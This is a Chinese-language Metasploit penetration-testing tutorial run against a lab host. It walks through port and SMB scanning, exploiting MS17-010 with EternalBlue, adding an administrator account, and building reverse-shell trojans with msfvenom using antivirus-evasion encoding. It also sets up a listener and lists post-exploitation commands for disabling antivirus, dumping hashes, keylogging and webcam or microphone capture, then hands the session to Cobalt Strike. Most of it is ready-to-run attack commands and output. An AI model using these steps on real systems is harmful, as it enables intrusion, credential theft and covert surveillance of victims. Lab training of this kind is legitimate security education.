

# MSF

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## MSF基本介绍

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## MSF基本介绍

### MSF简介

Metasploit框架（Metasploit Framework, MSF）是一个开源工具，旨在方便渗透测试，它是由Ruby程序语言编写的模板化框架，具有很好的扩展性，便于渗透测试人员开发、使用定制的工具模板。

Metasploit可向后端模块提供多种用来控制测试的接口（如控制台、Web、CLI）。推荐使用控制台接口，通过控制台接口，你可以访问和使用所有Metasploit的插件，例如Payload、利用模块、Post模块等。Metasploit还有第三程序的接口，例如Nmap、SQLMap等，可以直接在控制台接口里使用，要访问该界面。

### MSF五大模块

#### Auxiliaries（辅助模块）

该模块不会直接在测试者和目标主机之间建立访问，它们只负责执行扫描、嗅探、指纹识别等相关功能以辅助渗透测试。

#### Exploit（漏洞利用模块）

漏洞利用是指由渗透测试者利用一个系统、应用或者服务中的安全漏洞进行的攻击行为。流行的渗透攻击技术包括缓冲区溢出、Web应用程序攻击，以及利用配置错误等，其中包含攻击者或测试人员针对系统中的漏洞而设计的各种POC验证程序，用于破坏系统安全性的攻击代码，每个漏洞都有相应的攻击代码。

#### Payload（攻击载荷模块）

攻击载荷是我们期望目标系统在被渗透攻击之后完成实际攻击功能的代码，成功渗透目标后，用于在目标系统上运行任意命令或者执行特定代码，在Metasploit框架中可以自由地选择、传送和植入。攻击载荷也可能是简单地在目标操作系统上执行一些命令，如添加用户账号等。

#### Post（后期渗透模块）

该模块主要用于在取得目标系统远程控制权后，进行一系列的后渗透攻击动作，如获取敏感信息、实施跳板攻击等。

### Encoders（编码工具模块）

该模块在渗透测试中负责免杀，以防止被杀毒软件、防火墙、IDS及类似的安全软件检测出来。

## MSF一些基本命令

### MSF的启动

msfconsole：启动MSF框架

exit：退出MSF框架。也可以使用快捷键 CTRL+\

back：退出到上一级。

apt-get update：同步 /etc/apt/sources.list 和 /etc/apt/sources.list.d 中列出的源的索引，这样才能获取到最新的软件包。

apt-get upgrade：使用该命令前要先使用update。升级系统上安装的所有软件包、若更新失败，所涉及的包会保持更新之前的状态

上述的升级是比较全面且彻底的。但是要花费较多时间。建议在空闲时间使用，如果急需使用MSF又需要更新。建议采用单独升级的方式，先使用 apt update 再使用 apt install metasploit-framework

### MSF实操

1.打开kali的终端，输入msfconsole，进入msf框架

```
(root@kali)-[~]
# msfconsole

192.168.21.129 172.17.0.1 listener
192.168.21.131 192.168.21.131 1
192.168.21.131 :ok000kdc' 192.168.21.131 cdk000k0:. 1
192.168.21.131 :x0000000000000000c c000000000000000x. 1
192.168.21.131 :0000000000000000k, ,k0000000000000000: 1
192.168.21.131 '000000000k00000: :0000000000000000000'
192.168.21.131 o00000000. .o0000o0000l. ,00000000o
192.168.21.131 d00000000. .c00000c. ,00000000x
192.168.21.131 l00000000. ;d; ,00000000l
192.168.21.131 .00000000. .; ; ,00000000.
192.168.21.131 c0000000. .00c. 'o00. ,0000000c
192.168.21.131 o000000. .0000. :0000. ,000000o
192.168.21.131 l00000. .0000. :0000. ,00000l
192.168.21.131 ;0000' .0000. :0000. ;0000;
192.168.21.131 .d00o .0000occcx0000. x00d.
192.168.21.131 ,k0l .00000000000000. .d0k,
192.168.21.131 :kk;.00000000000000.c0k:
192.168.21.131 ;k000000000000000k:
192.168.21.131 ,x0000000000000x,
192.168.21.131 .l0000000l.
192.168.21.131 ,d0d,
192.168.21.131 .

+ -- --=[ metasploit v6.2.9-dev ]
+ -- --=[ 2230 exploits - 1177 auxiliary - 398 post ]
+ -- --=[ 867 payloads - 45 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Use the resource command to run
commands from a file

msf6 >
```

- 2.输入命令exit退出MSF框架，来进行框架升级。
- 3.使用MSF之前，最好将其更新，以获取更多漏洞模块的支持。先使用apt update再使用 apt install metasploit-framework
- 4.更新完成后，再次打开msf

MSF的功能

MSF框架可以用来主机扫描、漏洞探测与漏洞利用、生成后门

1、主机扫描

1.1 使用辅助模块进行端口扫描

(1) 利用search portscan命令 查询一下有哪些可用的端口扫描模块

```
msf6 > search portscan

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  auxiliary/scanner/portscan/ftpbounce      normal         No    FTP Bounce Port Scanner
1  auxiliary/scanner/natpmp/natpmp_portscan  normal         No    NAT-PMP External Port Scanner
2  auxiliary/scanner/sap/sap_router_portscanner  normal         No    SAPRouter Port Scanner
3  auxiliary/scanner/portscan/xmas          normal         No    TCP "XMas" Port Scanner
4  auxiliary/scanner/portscan/ack           normal         No    TCP ACK Firewall Scanner
5  auxiliary/scanner/portscan/tcp           normal         No    TCP Port Scanner
6  auxiliary/scanner/portscan/syn           normal         No    TCP SYN Port Scanner
7  auxiliary/scanner/http/wordpress_pingback_access  normal         No    Wordpress Pingback Locator

Interact with a module by name or index. For example info 7, use 7 or use auxiliary/scanner/http/wordpress_pingback_access

msf6 > |
```

(2) 在上述结果中，可以看到有8个可用的端口扫描模块，此处以tcp端口扫描模块为例进行扫描。输入命令use auxiliary/scanner/portscan/tcp 进入对应模块（看>号前面的内容就知道自己所处模块位置），再输入 show options查询对应模块需要使用的参数

```
msf6 auxiliary(scanner/portscan/tcp) > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(scanner/portscan/tcp) > options

Module options (auxiliary/scanner/portscan/tcp):

Name      Current Setting  Required  Description
-      -
CONCURRENCY  10              yes       The number of concurrent ports to check per host
DELAY       0               yes       The delay between connections, per thread, in milliseconds
JITTER      0               yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS       1-10000         yes       Ports to scan (e.g. 22-25,80,110-900)
RHOSTS      192.168.21.128 yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
THREADS     1               yes       The number of concurrent threads (max one per host)
TIMEOUT     1000            yes       The socket connect timeout in milliseconds
```

(3) 在上述参数中，Required列，被标记为yes的参数必须包含实际的值，其中，除了RHOSTS外，其余参数均有默认值。THREADS设置扫描线程数量，默认为1，数量越高扫描越快。使用set命令设置某个参数值，可以使用unset命令取消某个参数值的设置，设置完毕后使用run 命令执行模块，可以看到扫描结果如下，445端口存在可能利用的永恒之蓝漏洞。

```
msf6 auxiliary(scanner/portscan/tcp) > run

[+] 192.168.21.131: - 192.168.21.131:135 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:139 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:445 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:5357 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:49154 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:49156 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:49152 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:49153 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:49157 - TCP OPEN
[+] 192.168.21.131: - 192.168.21.131:49155 - TCP OPEN
[*] 192.168.21.131: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/portscan/tcp) >
```

## 1.2 使用辅助模块进行服务扫描

(1) 使用命令 search scanner 可以发现大量的扫描模块，有600多个模块

```
msf6 > search scanner

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  auxiliary/scanner/http/a10networks_ax_directory_traversal  2014-01-28      normal No    A10 Networks AX Loadbalancer Directory Traversal
1  auxiliary/scanner/snmp/aix_version  2014-01-28      normal No    AIX SNMP Scanner Auxiliary Module
2  auxiliary/scanner/discovery/arp_sweep  2014-01-28      normal No    ARP Sweep Local Network Discovery
3  auxiliary/scanner/snmp/sbg6580_enum  2014-01-28      normal No    ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module
4  auxiliary/scanner/http/wp_abandoned_cart_sql  2020-11-05      normal No    Abandoned Cart for WooCommerce SQLi Scanner
5  auxiliary/scanner/http/accellion_fta_statecode_file_read  2015-07-10      normal No    Accellion FTA 'statecode' Cookie Arbitrary File Read
6  auxiliary/scanner/http/adobe_xml_inject  2015-07-10      normal No    Adobe XML External Entity Injection
7  auxiliary/scanner/http/advantech_webaccess_login  2015-07-10      normal No    Advantech WebAccess Login
8  auxiliary/scanner/http/allegro_rompager_misfortune_cookie  2014-12-17      normal Yes  Allegro Software RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner
9  auxiliary/scanner/ftp/anonymous  2014-12-17      normal No    Anonymous FTP Access Detection
10 auxiliary/scanner/http/apache_userdir_enum  2021-05-10      normal No    Apache "mod_userdir" User Enumeration
11 auxiliary/scanner/http/apache_normalize_path  2021-05-10      normal No    Apache 2.4.49/2.4.50 Traversal RCE scanner
12 auxiliary/scanner/http/apache_activemq_traversal  2021-05-10      normal No    Apache ActiveMQ Directory Traversal
13 auxiliary/scanner/http/apache_activemq_source_disclosure  2021-05-10      normal No    Apache ActiveMQ JSP Files Source Disclosure
14 auxiliary/scanner/http/axis_login  2021-05-10      normal No    Apache Axis2 Brute Force Utility
15 auxiliary/scanner/http/axis_local_file_include  2021-05-10      normal No    Apache Axis2 v1.4.1 Local File Inclusion
16 auxiliary/scanner/http/apache_flink_jobmanager_traversal  2021-01-05      normal Yes  Apache Flink JobManager Traversal
17 auxiliary/scanner/http/mod_negotiation_brute  2021-01-05      normal No    Apache HTTPD mod_negotiation Filename Bruter
18 auxiliary/scanner/http/mod_negotiation_scanner  2021-01-05      normal No    Apache HTTPD mod_negotiation Scanner
19 auxiliary/scanner/ssh/apache_karaf_command_execution  2016-02-09      normal No    Apache Karaf Default Credentials Command Execution
20 auxiliary/scanner/ssh/karaf_login  2016-02-09      normal No    Apache Karaf Login Utility
21 auxiliary/scanner/http/apache_optionsbleed  2017-09-18      normal No    Apache Optionsbleed Scanner
22 auxiliary/scanner/http/rewrite_proxy_bypass  2017-09-18      normal No    Apache Reverse Proxy Bypass Vulnerability Scanner
23 auxiliary/scanner/http/tomcat_enum  2017-09-18      normal No    Apache Tomcat User Enumeration
```

(2) 使用search 搜索与SMB服务相关的模块，搜索结果如下。使用的步骤与使用端口扫描模块时的基本相同

```
msf6 > search SMB

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -
0  exploit/multi/http/struts_code_exec_classloader  2014-03-06      manual No    Apache Struts ClassLoader Manipulation Remote Code Execution
1  exploit/osx/browser/safari_file_policy  2011-10-12      normal No    Apple Safari file:// Arbitrary Code Execution
2  auxiliary/server/capture/smb  2011-10-12      normal No    Authentication Capture: SMB
3  post/linux/busybox/smb_share_root  2011-10-12      normal No    BusyBox SMB Sharing
4  exploit/linux/misc/cisco_rv340_sslvpn  2022-02-02      good Yes  Cisco RV340 SSL VPN Unauthenticated Remote Code Execution
```

## 1.3使用NMAP扫描

```
msf6 > nmap -A -T4 192.168.21.131
[*] exec: nmap -A -T4 192.168.21.131
```

## 2、漏洞探测与漏洞利用

### 2.1 漏洞探测

(1) 我们就拿永恒之蓝为例，在上述信息收集中，我们发现445端口开启，代表着目标靶机运行SMB服务，因此使用命令search ms17\_010查询与永恒之蓝相关的可利用模块。

```
msf6 > search ms17_010

Matching Modules
=====
#  Name
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14  average  Yes  MS17-010 EternalBlue SMB Remote Windows Kerne
l Pool Corruption
1  exploit/windows/smb/ms17_010_psexec      2017-03-14  normal   Yes  MS17-010 EternalRomance/EternalSynergy/Eterna
lChampion SMB Remote Windows Code Execution
2  auxiliary/admin/smb/ms17_010_command     2017-03-14  normal   No   MS17-010 EternalRomance/EternalSynergy/Eterna
lChampion SMB Remote Windows Command Execution
3  auxiliary/scanner/smb/smb_ms17_010       normal      No   MS17-010 SMB RCE Detection

Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010
```

(2) 端口开启不代表就存在永恒之蓝漏洞，因此我们还需要借助更具体的扫描模块来检验是否存在永恒之蓝漏洞，使用命令use auxiliary/scanner/smb/smb\_ms17\_010 进入永恒之蓝漏洞扫描模块，输入参数show options 查看所需参数。

```
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):

Name      Current Setting  Required  Description
-  -  -  -  -
CHECK_ARCH true             no        Check for architecture on vulnerable hosts
CHECK_DOPU true             no        Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false            no        Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes       List of named pipes to check
RHOSTS     yes             The target host(s), see https://github.com/rapid7/metasploit-f
ramework/wiki/Using-Metasploit
RPORT      445             The SMB service port (TCP)
SMBDomain  .               The Windows domain to use for authentication
SMBPass    no              The password for the specified username
SMBUser    no              The username to authenticate as
THREADS    1              yes       The number of concurrent threads (max one per host)

msf6 auxiliary(scanner/smb/smb_ms17_010) > 
```

(3) 设置必要参数然后运行该模块，发现该主机可能存在MS17\_010漏洞。

```

msf6 auxiliary(scanner/smb/smb_ms17_010) > options

Module options (auxiliary/scanner/smb/smb_ms17_010):



| Name        | Current Setting                                                | Required | Description                                                                                  |
|-------------|----------------------------------------------------------------|----------|----------------------------------------------------------------------------------------------|
| CHECK_ARCH  | true                                                           | no       | Check for architecture on vulnerable hosts                                                   |
| CHECK_DOPU  | true                                                           | no       | Check for DOUBLEPULSAR on vulnerable hosts                                                   |
| CHECK_PIPE  | false                                                          | no       | Check for named pipe on vulnerable hosts                                                     |
| NAMED_PIPES | /usr/share/metasploit-framework/data/wordlists/named_pipes.txt | yes      | List of named pipes to check                                                                 |
| RHOSTS      | 192.168.21.131                                                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit |
| RPORT       | 445                                                            | yes      | The SMB service port (TCP)                                                                   |
| SMBDomain   | .                                                              | no       | The Windows domain to use for authentication                                                 |
| SMBPass     | .                                                              | no       | The password for the specified username                                                      |
| SMBUser     | .                                                              | no       | The username to authenticate as                                                              |
| THREADS     | 1                                                              | yes      | The number of concurrent threads (max one per host)                                          |



msf6 auxiliary(scanner/smb/smb_ms17_010) > exploit

[+] 192.168.21.131:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.21.131:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >

```

## 2.2 漏洞利用

(1) 我们经过漏洞发现已知该主机可能存在MS17\_010漏洞，下一步就是进行漏洞利用。使用use exploit/windows/smb/ms17\_010\_eternalblue 进入漏洞利用模块，输入参数show options 查看所需参数。

```

[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) >

```

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > options

Module options (exploit/windows/smb/ms17_010_eternalblue):



| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        |                 | yes      | The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit                                                          |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |



Payload options (windows/x64/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.21.128  | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:



| Id | Name             |
|----|------------------|
| 0  | Automatic Target |


```

(2) 设置RHOSTS参数，然后进行漏洞利用。



```
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 192.168.21.128:4444
[*] 192.168.21.131:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.21.131:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.21.131:445 - Scanned 1 of 1 hosts (100% complete)
[+] 192.168.21.131:445 - The target is vulnerable.
[*] 192.168.21.131:445 - Connecting to target for exploitation.
[+] 192.168.21.131:445 - Connection established for exploitation.
[+] 192.168.21.131:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.21.131:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.21.131:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61 Windows 7 Ultima
[*] 192.168.21.131:445 - 0x00000010 74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20 te 7601 Service
[*] 192.168.21.131:445 - 0x00000020 50 61 63 6b 20 31 Pack 1
[+] 192.168.21.131:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.21.131:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.21.131:445 - Sending all but last fragment of exploit packet
[*] 192.168.21.131:445 - Starting non-paged pool grooming
[+] 192.168.21.131:445 - Sending SMBv2 buffers
[+] 192.168.21.131:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.21.131:445 - Sending final SMBv2 buffers.
[*] 192.168.21.131:445 - Sending last fragment of exploit packet!
[*] 192.168.21.131:445 - Receiving response from exploit packet
[+] 192.168.21.131:445 - ETHERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.21.131:445 - Sending egg to corrupted connection.
[*] 192.168.21.131:445 - Triggering free of corrupted buffer.
```

(3) GetShell。输入命令shell来让靶机反弹shell到当前窗口。

创建用户并提权为管理员。

创建用户：net user user 123456 /add

把创建的用户用户加到管理员组：net localgroup /add administrators user

## MSF生成木马

- 1 1. 普通生成
- 2 ##msfvenom -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -f 输出格式 -o 输出文件
- 3 msfvenom -p windows/meterpreter/reverse\_tcp lhost=192.168.1.1 lport=8888 -f exe -o payload.exe
- 4
- 5 2. 编码生成
- 6 ##msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件
- 7 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse\_tcp lhost=192.168.1.1 lport=8888 -i 3 -e x86/shikata\_ga\_nai -f exe -o payload.exe
- 8
- 9 msfvenom --list archs #查看支持的系统架构
- 10 msfvenom --list platforms #查看支持系统平台
- 11 msfvenom -l payload #列出所有可用的payload
- 12 msfvenom -l formats #列出所有的输出格式
- 13 msfvenom -l encrypt #列出所有的加密方式
- 14 msfvenom -l encoders #列出所有的编码器

## 常见生成格式



```
1 1、Windows
2 msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -i
3 -e x86/shikata_ga_nai -f exe -o payload.exe
4
5 2、Linux
6 msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f e
7 lf -o payload.elf
8
9 3、Mac
10 msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o pa
11 yload.macho
12
13 4、Android
14 msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
15
16 5、Aspx
17 msfvenom --platform windows -p windows/meterpreter/reverse_tcp -f aspx -o p
18 ayload.aspx
19
20 6、JSP
21 msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.j
22 sp
23
24 7、PHP
25 msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
26
27 8、BASH
28 msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
29
30 9、Python
31 msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
```

## 示例：

### 1、生成木马文件

```

1  msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.21.128 LPORT=8088 -b "\x00" -i 10 -f exe -o /root/1.exe
2  参数含义:
3  -a x86                                #使用x86框架
4  --platform windows                    #运行平台为windows
5  -p windows/meterpreter/reverse_tcp    #指定payload
6  LHOST=192.168.21.128 LPORT=8088      #本地IP和监听端口
7  -b "\x00"                            #去掉坏字符
8  -i 10                                #编码10次, 提高免杀概率
9  -f exe                                #木马文件格式
10 -o /root/1.exe                        #输出路径

```

## 2、启动监听程序

```

1  msfconsole                            //启动
2  use exploit/multi/handler              //开启监听
3  set payload windows/meterpreter/reverse_tcp //设置payload, 选择漏洞利用模块
4  set lhost 192.168.21.128              //本地IP, 即攻击IP
5  set lport 8088                        //监听端口
6  exploit                               //攻击

```

## 3、靶机上线

接下来是利用漏洞获取更多的靶机信息并进一步扩大施展空间

比如:

```

1  screenshot:靶机屏幕截屏并保存到root中
2  sysinfo:获取靶机系统信息
3  idletime:靶机开机时间
4  run post/windows/manage/enable_rdp: 打开远程桌面服务
5  run post/windows/manage/killav: 关闭杀毒软件
6  run hashdump:查看系统账户密码的hash值
7  shell: 获取shell
8  相关命令:
9  getuid      查看当前权限
10 getsystem   尝试获取system权限
11 shell       获取当前权限shell会话
12 ps         列出正在运行的进程
13 pkill       按名称终止进程
14 kill        按PID终止进程
15 reboot      重启
16 shutdown    关机
17 upload       上传文件(格式参考:upload /root/1.txt -> d:/)
18 download     下载文件(格式参考:download c:/1.txt -> /root/)
19 keyboard_send 令对方键盘输入(参考格式:keyboard_send ilovecc)
20 #请按以下顺序执行
21 keyscan_start 开始捕获击键 (开始键盘记录)
22 keyscan_dump  转储按键缓冲 (下载键盘记录)
23 keyscan_stop  停止捕获击键 (停止键盘记录)
24 #操作完都会有文件保存在服务器,一般是存在/root目录下,msf会提示具体位置和名称,提到本机
    就可打开看
25 record_mic    麦克风录制
26 screenshot    截图截取对方目前桌面的截图
27 webcam_snap   摄像头拍摄一张照片
28 webcam_stream 持续监控摄像头
29 getpid:查看meterpreter shell的进程号
30 migrate +稳定进程号: 转移进程
31  也可以直接用run post/windows/manage/migrate进行自动寻找稳定进程转换。

```

## msf会话转移至cs

msf转移会话:

1、cs开启http监听端口

2、msf进行会话转移

```
1 background
2 use exploit/windows/local/payload_inject
3 set payload windows/meterpreter/reverse_http
4 set lhost 192.168.21.128
5 set lport 6666
6 set DisablePayloadHandler True
7 set PrependMigrate True
8 set session 1
9 run
```